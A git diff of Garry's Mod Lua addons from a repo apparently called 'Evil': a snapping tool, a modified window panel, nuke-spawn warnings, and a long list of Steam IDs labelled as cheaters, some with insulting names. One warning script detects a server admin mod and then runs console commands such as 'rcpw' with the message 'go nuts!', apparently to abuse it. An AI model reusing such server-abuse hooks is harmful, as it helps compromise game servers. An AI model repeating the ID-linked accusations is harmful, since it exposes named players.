DrawBoundary(obvgrid.unw, obvgrid.lnw, obvgrid.usw, obvgrid.une) + DrawBoundary(obvgrid.une, obvgrid.lne, obvgrid.use, obvgrid.unw) + DrawBoundary(obvgrid.lnw, obvgrid.unw, obvgrid.lsw, obvgrid.lne) + DrawBoundary(obvgrid.lne, obvgrid.une, obvgrid.lse, obvgrid.lnw) + DrawBoundary(obvgrid.usw, obvgrid.lsw, obvgrid.unw, obvgrid.use) + DrawBoundary(obvgrid.use, obvgrid.lse, obvgrid.une, obvgrid.usw) + DrawBoundary(obvgrid.lsw, obvgrid.usw, obvgrid.lnw, obvgrid.lse) + DrawBoundary(obvgrid.lse, obvgrid.use, obvgrid.lne, obvgrid.lsw) + end + + local vectorOrigin = faces[target.face][1] + local vectorX = faces[target.face][2] + local vectorY = faces[target.face][3] + local vectorZ = faces[target.face][4] + local vectorOffset = faces[target.face][5] + + local vectorGrid + + if (!target.locked) then + vectorGrid = vectorOrigin + CalculateSnap(vectorX, vectorY, intersection) + + local trace = util.TraceLine({ + start = target.entity:LocalToWorld(target.entity:WorldToLocal(vectorGrid) - vectorOffset) - vectorZ:GetNormalized() * 0.01, + endpos = vectorGrid + vectorZ, + }) + + local vectorSnap = trace.HitPos + target.offset = target.entity:WorldToLocal(vectorSnap) + target.vector = target.entity:WorldToLocal(vectorGrid) + + target.error = true + + if (trace.Entity == nil or !trace.Entity:IsValid()) then + snaperror = -1 + elseif (trace.Entity != target.entity) then + snaperror = -2 + elseif (trace.HitPos == trace.StartPos) then + snaperror = -2 + else + snaperror = (LocalPlayer():GetEyeTrace().HitPos - trace.HitPos):Length() + target.error = false + + if ((vectorSnap - vectorGrid):Length() > 0.5) then + local marker = PointToScreen(vectorSnap) + + if (marker) then + DrawSnapCross(marker, 255, 255, 255) + end + end + end + else + vectorGrid = target.entity:LocalToWorld(target.vector) + local vectorSnap = target.entity:LocalToWorld(target.offset) + + local marker = PointToScreen(vectorSnap) + snaperror = (LocalPlayer():GetEyeTrace().HitPos - vectorSnap):Length() + + if (marker) then + if (target.error == true) then + snaperror = -2 + DrawSnapCross(marker, 0, 255, 255) + elseif (snaperror < 0.001) then + DrawSnapCross(marker, 0, 255, 0) + elseif (snaperror < 0.1) then + DrawSnapCross(marker, 255, 255, 0) + else + DrawSnapCross(marker, 255, 0, 0) + end + end + end + + if (GetConVarNumber("snap_hidegrid") == 0) then + DrawGrid(vectorOrigin, vectorX, vectorY) + end + + target.active = true + + local vsCursor = PointToScreen(vectorGrid) + + if (vsCursor) then + if (snaperror == -1) then + target.active = false + DrawSnapCross(vsCursor, 0, 255, 255) + elseif (snaperror == -2) then + DrawSnapCross(vsCursor, 255, 0, 255) + elseif (snaperror < 0.001) then + DrawSnapCross(vsCursor, 0, 255, 0) + elseif (snaperror < 0.1) then + DrawSnapCross(vsCursor, 255, 255, 0) + else + DrawSnapCross(vsCursor, 255, 0, 0) + end + end +end + +local function OnSnapView(player, origin, angles, fov) + local targetvalid = target.active and target.locked and target.entity:IsValid() + local snaptargetvalid = snaptarget.active and snaptarget.locked and snaptarget.entity:IsValid() + + if (snapcursor and !snapspawnmenu and targetvalid) then + local screen = ToScreen(target.entity:LocalToWorld(target.offset)) + gui.SetMousePos(math.Round(screen.x), math.Round(screen.y)) + end + + if (!snapcursor and targetvalid) then + return {angles = (target.entity:LocalToWorld(target.offset) - player:GetShootPos()):Angle()} + elseif (snaplock and snaptargetvalid) then + return {angles = (snaptarget.entity:LocalToWorld(snaptarget.offset) - player:GetShootPos()):Angle()} + end +end + +local function OnSnapAim(user) + local targetvalid = target.active and target.locked and target.entity:IsValid() + local snaptargetvalid = snaptarget.active and snaptarget.locked and snaptarget.entity:IsValid() + + if (!snapcursor and targetvalid) then + user:SetViewAngles((target.entity:LocalToWorld(target.offset) - LocalPlayer():GetShootPos()):Angle()) + elseif (snaplock and snaptargetvalid) then + user:SetViewAngles((snaptarget.entity:LocalToWorld(snaptarget.offset) - LocalPlayer():GetShootPos()):Angle()) + end +end + +concommand.Add("+snap2", SnapPress) +concommand.Add("-snap2", SnapRelease) +concommand.Add("snaplock2", SnapLock) +concommand.Add("snaptogglegrid2", SnapToggleGrid) + + +hook.Add("Initialize", "SmartsnapInitialize2", OnInitialize) + +hook.Add("SpawnMenuOpen", "SmartsnapSpawnMenu2", OnSpawnMenu) + +hook.Add("Think", "SmartsnapThink2", OnThink) +hook.Add("ShutDown", "SmartsnapShutDown2", OnShutDown) + +hook.Add("KeyPress", "SmartsnapKeyPress2", OnKeyPress) +hook.Add("KeyRelease", "SmartsnapKeyRelease2", OnKeyRelease) + +hook.Add("CreateMove", "SmartsnapSnap2", OnSnapAim) +hook.Add("CalcView", "SmartsnapSnapView2", OnSnapView) + +hook.Add("SpawnMenuOpen", "SmartsnapSpawnMenu2", OnSpawnMenu) + +hook.Add("HUDPaintBackground", "SmartsnapPaintHUD2", OnPaintHUD) + + +local function OnPopulateToolPanel(panel) + panel:AddControl("ComboBox", { + Options = { ["default"] = condefs }, + CVars = convars, + Label = "", + MenuButton = "1", + Folder = "smartsnap" + }) + + panel:AddControl("CheckBox", { + Label = "Enable", + Command = "snap_enabled", + }) + + panel:AddControl("CheckBox", { + Label = "Use click grid (USE temporarily enables grid)", + Command = "snap_clickgrid", + }) + + panel:AddControl("CheckBox", { + Label = "Hide grid (only shows snap point)", + Command = "snap_hidegrid", + }) + + panel:AddControl("CheckBox", { + Label = "Smart toggle enabled", + Command = "snap_enabletoggle", + }) + + panel:AddControl("CheckBox", { + Label = "Revert aim to grid snap on detach", + Command = "snap_revertaim", + }) + + panel:AddControl("CheckBox", { + Label = "Enable for all entities", + Command = "snap_allentities", + }) + + panel:AddControl("CheckBox", { + Label = "Enable for all tools", + Command = "snap_alltools", + }) + + panel:AddControl("CheckBox", { + Label = "Draw thick center lines", + Command = "snap_centerline", + }) + + panel:AddControl("Slider", { + Label = "Grid toggle delay (double click snap-key)", + Command = "snap_toggledelay", + Type = "Float", + Min = "0.0", + Max = "0.2", + }) + + panel:AddControl("Slider", { + Label = "Smart lock delay", + Command = "snap_lockdelay", + Type = "Float", + Min = "0.0", + Max = "5.0", + }) + + panel:AddControl("CheckBox", { + Label = "Bounding box enabled", + Command = "snap_boundingbox", + }) + + panel:AddControl("Slider", { + Label = "Grid draw distance", + Command = "snap_distance", + Type = "Integer", + Min = "50", + Max = "1000", + }) + + panel:AddControl("Slider", { + Label = "Grid edge offset", + Command = "snap_gridoffset", + Type = "Float", + Min = "0.0", + Max = "2.5", + }) + + panel:AddControl("Slider", { + Label = "Grid transparency", + Command = "snap_gridalpha", + Type = "Float", + Min = "0.1", + Max = "1.0", + }) + + panel:AddControl("Slider", { + Label = "Maximum number of snap points on an axis", + Command = "snap_gridlimit", + Type = "Integer", + Min = "2", + Max = "64", + }) + + panel:AddControl("Slider", { + Label = "Minimum distance between each snap point", + Command = "snap_gridsize", + Type = "Integer", + Min = "2", + Max = "64", + }) + + + panel:AddControl("Label", { + Text = "" + }) + + panel:AddControl("Label", { + Text = "The following option should prevent FPS drops from occuring, however it might have a slight impact on the average FPS while the grid is showing. Do NOT uncheck this option unless you are experiencing very low FPS or fully understands its purpose." + }) + + panel:AddControl("Label", { + Text = "NOTE: This option is only effective when the grid is showing, it does not impact regular gameplay!" + }) + + panel:AddControl("Label", { + Text = "" + }) + + panel:AddControl("CheckBox", { + Label = "Garbage collection boost", + Command = "snap_gcboost", + }) +end + +function OnPopulateToolMenu() + spawnmenu.AddToolMenuOption("Options", "Player", "SmartSnapSettings", "SmartSnap", "", "", OnPopulateToolPanel, {SwitchConVar = 'snap_enabled'}) +end + +hook.Add("PopulateToolMenu", "SmartSnapToolMenu", OnPopulateToolMenu) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua new file mode 100644 index 0000000..6840328 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua @@ -0,0 +1,176 @@ + + +--- === AC Warning === --- +local function ACWarning() + if HeXGlobal_AC and not HACInstalled then + chat.AddText(WHITE,"This server has an ", RED, "Anticheat!") + surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) + end +end +timer.Simple(1, ACWarning) +--- === /AC Warning === --- + + +--- === DeX Warning === --- +local function DeXWarning() + if DeX then + timer.Destroy("DeXCheck") + + RunConsoleCommand("logme2", "DeXServer") + RunConsoleCommand("rcpw") + chat.AddText(WHITE,"This server has ", RED, "DeX", WHITE, ", go nuts!") + surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) + end +end +timer.Create("DeXCheck", 1, 0, DeXWarning) +--- === /DeX Warning === --- + + + + + + + +--- === NUKE Warning === --- +local Nukes = { + ["bomb_sent_atomic_bomb"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["canister_sent_atomic_bomb"] = true, + ["cannonball_sent_atomic_bomb"] = true, + ["cone_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["hopnuke"] = true, + ["hopnuke_trap"] = true, + ["kfc_sent_atomic_bomb"] = true, + ["lego_sent_atomic_bomb"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["mk-82_sent_atomic_bomb"] = true, + ["mk-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleablenuke1"] = true, + ["sent_explosion_scaleablenuke2"] = true, + ["sent_explosion_scaleablenuke3"] = true, + ["sent_explosion_scaleablenuke6"] = true, + ["sent_explosion_scaleablenuke7"] = true, + ["sent_nuke"] = true, + ["sent_nuke_awesomecube"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke_melon"] = true, + ["sent_nuke_missile"] = true, + ["sent_nuke_radiation"] = true, + ["sent_nuke_radiation2"] = true, + ["sent_nuke_radiation3"] = true, + ["sent_nuke_radiation4"] = true, + ["sent_nuke_radiation5"] = true, + ["sent_nuke_radiation6"] = true, + ["sent_nuke_radiation7"] = true, + ["sent_nuke_radiation8"] = true, + ["sent_nuke1"] = true, + ["sent_nuke100"] = true, + ["sent_nuke100mt"] = true, + ["sent_nuke2"] = true, + ["sent_nuke200"] = true, + ["sent_nuke200mt"] = true, + ["sent_nuke3"] = true, + ["sent_nuke300"] = true, + ["sent_nuke300mt"] = true, + ["sent_nuke400"] = true, + ["sent_nuke400mt"] = true, + ["sent_nuke50"] = true, + ["sent_nuke500"] = true, + ["sent_nuke500mt"] = true, + ["sent_nuke50mt"] = true, + ["sent_nuke6"] = true, + ["sent_nuke7"] = true, + ["sent_nukegrenade"] = true, + ["sent_nukesmall"] = true, + ["soda_sent_atomic_bomb"] = true, + ["sofa_sent_atomic_bomb"] = true, + ["vendingmachine_sent_atomic_bomb"] = true, + ["waluigiracket_sent_atomic_bomb"] = true, + + ["barrel_sent_atomic_bomb"] = true, + ["barrel_sent_he_missile"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["briefcase_sent_he_missile"] = true, + ["canister_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["explosive_car"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["melon_sent_he_missile"] = true, + ["MK-82_sent_atomic_bomb"] = true, + ["MK-82_sent_he_missile"] = true, + ["MK-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleable"] = true, + ["sent_nuke_radiation"] = true, + ["sent_tnt"] = true, + ["soda_sent_atomic_bomb"] = true, + ["soda_sent_he_missile"] = true, + + ["sent_nuke_missile"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke"] = true, + + ["nuke_explosion"] = true, + ["sent_nuke_bomb"] = true, + ["nuke_missile"] = true, +} + +local Explosions = { + ["nuke_explosion"] = true, + ["sent_nuke"] = true, +} + +local Create = Sound("npc/attack_helicopter/aheli_damaged_alarm1.wav") +local Explode = Sound("npc/attack_helicopter/aheli_mine_drop1.wav") + + +local function Warning(ent,egc,str,snd) + local Owner = NULL + if CPPI then + Owner = ent:CPPIGetOwner() + end + + if ValidEntity(Owner) then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"] ", RED, str, Owner:TeamColor(), " ("..Owner:Nick()..")") + else + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"] ", RED, str) + end + surface.PlaySound(snd) + + notification.AddLegacy(str, NOTIFY_ERROR, 6) +end + +function HeX.LaunchDetected(ent) + if ValidEntity(ent) then + local egc = ent:GetClass() + + if Nukes[egc] then + if Explosions[egc] then + Warning(ent, egc, "Nuclear detonation!", Create) + else + Warning(ent, egc, "Nuclear launch detected!", Explode) + end + end + end +end +hook.Add("OnEntityCreated", "HeX.LaunchDetected", HeX.LaunchDetected) + +timer.Simple(1, function() + if HSP then + hook.Remove("OnEntityCreated", "HeX.LaunchDetected") + print("[HeX] Removing custom LaunchDetected, loading HSP's") + end +end) +--- === NUKE Warning === --- + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua new file mode 100644 index 0000000..94e4489 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua @@ -0,0 +1,247 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DFrame + + A window. ==With fixed close button from Integra, DFrame.lua U135== + */ print("[OK] Custom DFrame loaded") /* +*/ + +PANEL = {} + +AccessorFunc( PANEL, "m_bDraggable", "Draggable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bSizable", "Sizable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bScreenLock", "ScreenLock", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bDeleteOnClose", "DeleteOnClose", FORCE_BOOL ) +AccessorFunc( PANEL, "m_iMinWidth", "MinWidth" ) +AccessorFunc( PANEL, "m_iMinHeight", "MinHeight" ) + +AccessorFunc( PANEL, "m_bBackgroundBlur", "BackgroundBlur", FORCE_BOOL ) + +derma.GetAll = {} +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetFocusTopLevel( true ) + +// self:SetCursor( "sizeall" ) + + self.btnClose = vgui.Create( "DSysButton", self ) + self.btnClose:SetType( "close" ) + self.btnClose.DoClick = function ( button ) self:Close() end + self.btnClose:SetDrawBorder( false ) + self.btnClose:SetDrawBackground( false ) + --hex + self.btnClose:SetVisible(true) + self.btnClose.SetVisible = function() return end + --/hex + self.lblTitle = vgui.Create( "DLabel", self ) + self.lblTitle:SetExpensiveShadow( 1, Color( 0, 0, 0, 100 ) ) + self.lblTitle:SetTextColor( Color( 255, 255, 255, 255 ) ) + + self:SetDraggable( true ) + self:SetSizable( false ) + self:SetScreenLock( false ) + self:SetDeleteOnClose( true ) + self:SetTitle( "#Untitled DFrame" ) + + self:SetMinWidth( 50 ); + self:SetMinHeight( 50 ); + + // This turns off the engine drawing + self:SetPaintBackgroundEnabled( false ) + self:SetPaintBorderEnabled( false ) + + self.m_fCreateTime = SysTime() + + self:DockPadding( 5, 26, 5, 5 ) + table.insert(derma.GetAll, self) --hex +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:ShowCloseButton( bShow ) + --hex + self.btnClose:SetVisible(true) --self.btnClose:SetVisible(bShow) + --/hex +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetTitle( strTitle ) + --hex + self.lblTitle:SetText("[#] "..strTitle.." [#]") --self.lblTitle:SetText( strTitle ) + --/hex +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Close() + hook.Call("HeXCloseDFrame", nil, self) --hex + self:SetVisible( false ) + + if ( self:GetDeleteOnClose() ) then + self:Remove() + end + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Center() + + self:InvalidateLayout( true ) + self:SetPos( ScrW()/2 - self:GetWide()/2, ScrH()/2 - self:GetTall()/2 ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Think() + + if (self.Dragging) then + + local x = gui.MouseX() - self.Dragging[1] + local y = gui.MouseY() - self.Dragging[2] + + // Lock to screen bounds if screenlock is enabled + if ( self:GetScreenLock() ) then + + x = math.Clamp( x, 0, ScrW() - self:GetWide() ) + y = math.Clamp( y, 0, ScrH() - self:GetTall() ) + + end + + self:SetPos( x, y ) + + end + + + if ( self.Sizing ) then + + local x = gui.MouseX() - self.Sizing[1] + local y = gui.MouseY() - self.Sizing[2] + local px, py = self:GetPos() + + if ( x < self.m_iMinWidth ) then x = self.m_iMinWidth elseif ( x > ScrW() - px and self:GetScreenLock() ) then x = ScrW() - px end + if ( y < self.m_iMinHeight ) then y = self.m_iMinHeight elseif ( y > ScrH() - py and self:GetScreenLock() ) then y = ScrH() - py end + + self:SetSize( x, y ) + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && + self.m_bSizable && + gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self:SetCursor( "sizeall" ) + return + end + + self:SetCursor( "arrow" ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Paint() + + if ( self.m_bBackgroundBlur ) then + Derma_DrawBackgroundBlur( self, self.m_fCreateTime ) + end + + derma.SkinHook( "Paint", "Frame", self ) + return true + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMousePressed() + + if ( self.m_bSizable ) then + + if ( gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self.Sizing = { gui.MouseX() - self:GetWide(), gui.MouseY() - self:GetTall() } + self:MouseCapture( true ) + return + end + + end + + if ( self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self.Dragging = { gui.MouseX() - self.x, gui.MouseY() - self.y } + self:MouseCapture( true ) + return + end + + + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMouseReleased() + + self.Dragging = nil + self.Sizing = nil + self:MouseCapture( false ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + derma.SkinHook( "Layout", "Frame", self ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:IsActive() + + if ( self:HasFocus() ) then return true end + if ( vgui.FocusedHasParent( self ) ) then return true end + + return false + +end + + +derma.DefineControl( "DFrame", "A simpe window", PANEL, "EditablePanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua new file mode 100644 index 0000000..294239c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua @@ -0,0 +1,4157 @@ + +SHers = { + ["STEAM_0:0:40618282"] = {Name = "CrowBarGaming: [FaceWAN] ToxicGaming", Skid = true}, + ["STEAM_0:0:38131040"] = {Name = "CrowBarGaming: 6 Year Old", Skid = true}, + ["STEAM_0:1:34158607"] = {Name = "CrowBarGaming: Dutchess", Skid = true}, + ["STEAM_0:1:19955728"] = {Name = "CrowBarGaming: MegaDeath", Skid = true}, + ["STEAM_0:0:29171828"] = {Name = "CrowBarGaming: |GoG| Geno", Skid = true}, + ["STEAM_0:1:18955317"] = {Name = "CrowBarGaming: dick licker", Skid = true}, + ["STEAM_0:1:44305994"] = {Name = "CrowBarGaming: [LG] Suidispar", Skid = true}, + ["STEAM_0:1:25194873"] = {Name = "CrowBarGaming: [Gmod.biZ] Psycho", Skid = true}, + ["STEAM_0:0:41968250"] = {Name = "CrowBarGaming: Dr. Lazercat", Skid = true}, + ["STEAM_0:1:18804055"] = {Name = "CrowBarGaming: Barrowsx", Skid = true}, + ["STEAM_0:1:38581282"] = {Name = "CrowBarGaming: iTerrorist", Skid = true}, + ["STEAM_0:1:48767729"] = {Name = "CrowBarGaming: Bigtitties", Skid = true}, + ["STEAM_0:1:52702523"] = {Name = "CrowBarGaming: [UG]Inthemistofpuppies", Skid = true}, + ["STEAM_0:0:17231232"] = {Name = "CrowBarGaming: ?CG? Nayr", Skid = true}, + ["STEAM_0:0:6941700"] = {Name = "CrowBarGaming: -TT- TheGoodDoctor", Skid = true}, + ["STEAM_0:1:31065547"] = {Name = "CrowBarGaming: D0nk3y ?", Skid = true}, + ["STEAM_0:0:41052557"] = {Name = "CrowBarGaming: soldier boy ", Skid = true}, + ["STEAM_0:1:19837486"] = {Name = "CrowBarGaming: Tactica1Sniper[NOSOUND]", Skid = true}, + ["STEAM_0:1:28279757"] = {Name = "CrowBarGaming: TC da KOT", Skid = true}, + ["STEAM_0:1:2237432"] = {Name = "CrowBarGaming: [TG] BlackSkullpie", Skid = true}, + ["STEAM_0:1:50747557"] = {Name = "CrowBarGaming:-T-N-T-)Shorrdykiller", Skid = true}, + ["STEAM_0:0:40457063"] = {Name = "CrowBarGaming: Aspergers", Skid = true}, + ["STEAM_0:1:30881427"] = {Name = "CrowBarGaming: Sadowlagg", Skid = true}, + ["STEAM_0:0:37946696"] = {Name = "CrowBarGaming: Duex", Skid = true}, + ["STEAM_0:1:15641236"] = {Name = "CrowBarGaming: Mangos", Skid = true}, + ["STEAM_0:0:33755804"] = {Name = "CrowBarGaming: Hank", Skid = true}, + ["STEAM_0:1:45039370"] = {Name = "CrowBarGaming: Paradox", Skid = true}, + ["STEAM_0:1:21352532"] = {Name = "CrowBarGaming: Ions. Jack Mehof", Skid = true}, + ["STEAM_0:1:23679392"] = {Name = "CrowBarGaming: I no scoped JFK", Skid = true}, + ["STEAM_0:1:49628817"] = {Name = "CrowBarGaming: Nnamdi Asomugha", Skid = true}, + + ["STEAM_0:0:41111643"] = {SH = true}, + ["STEAM_0:1:37836792"] = {SH = true}, + ["STEAM_0:0:48313826"] = {SH = true}, + ["STEAM_0:1:53421588"] = {SH = true}, + ["STEAM_0:1:23912071"] = {Name = "Nick", SH = true}, + ["STEAM_0:1:8823562"] = {Name = "Nick", SH = true}, + ["STEAM_0:1:42508615"] = {Name = "Nick Bigigdog", SH = true}, + ["STEAM_0:0:40895826"] = {Name = "FallDamage", SH = true}, + ["STEAM_0:1:10646772"] = {Name = "Henri", SH = true}, + ["STEAM_0:0:38268180"] = {Name = "Mercenary lord", SH = true}, + ["STEAM_0:0:29040768"] = {Name = "Mystic Ham", SH = true}, + ["STEAM_0:1:20005478"] = {Name = "haloplayha", SH = true}, + ["STEAM_0:1:37548052"] = {Name = "SP2", SH = true}, + ["STEAM_0:0:33673996"] = {Name = "Visa", SH = true}, + ["STEAM_0:0:1701425"] = {Name = "Redz", SH = true}, + ["STEAM_0:0:29239364"] = {Name = "lonnianton", SH = true}, + ["STEAM_0:1:2057323"] = {Name = "King_Czar, Devnull", SH = true}, + ["STEAM_0:1:26191563"] = {Name = "sgt.ketchup, Devnull", SH = true}, + ["STEAM_0:1:28985123"] = {Name = "Kevin, Devnull", SH = true}, + ["STEAM_0:0:25219666"] = {Name = "Blueman #2", SH = true}, + ["STEAM_0:0:29687209"] = {Name = "banhummer", SH = true}, + ["STEAM_0:1:43562499"] = {Name = "DDoS", SH = true}, + ["STEAM_0:0:17562748"] = {Name = "DDoS", SH = true}, + ["STEAM_0:0:50536798"] = {SH = true}, + ["STEAM_0:0:8615861"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21373726"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:14690776"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:33763522"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:18460701"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:18816061"] = {Name = "SP2: Sethhack(leaked)", SH = true}, + ["STEAM_0:1:21748050"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:31866003"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:22240086"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:26262689"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:19254119"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:37311111"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:37641228"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:42476821"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:29466967"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:36017201"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19586627"] = {Name = "SP2: Convar forcing", SH = true}, + ["STEAM_0:0:30709335"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26604027"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19622107"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:28656241"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:40856910"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:26819163"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28810910"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:16230103"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:11481020"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:18214819"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:8731533"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:45523007"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:20513516"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26311595"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32324604"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26431054"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:10795659"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15476329"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29771895"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:30470607"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19490976"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:50032155"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37220271"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:33752125"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:15644324"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23361066"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:33017392"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19561634"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:45008543"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20237730"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22917225"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6428289"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:41391523"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36232848"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15978572"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26676964"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:20102730"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23921311"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:29192036"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29971267"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:12406388"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:12012182"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:26053222"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:31585345"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:38456959"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30354552"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36794289"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22349391"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25657133"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24974888"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:38469933"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25107044"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:39187983"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:38689930"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:3228595"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:5682164"] = {Name = "SP2: Code Injection", SH = true}, + 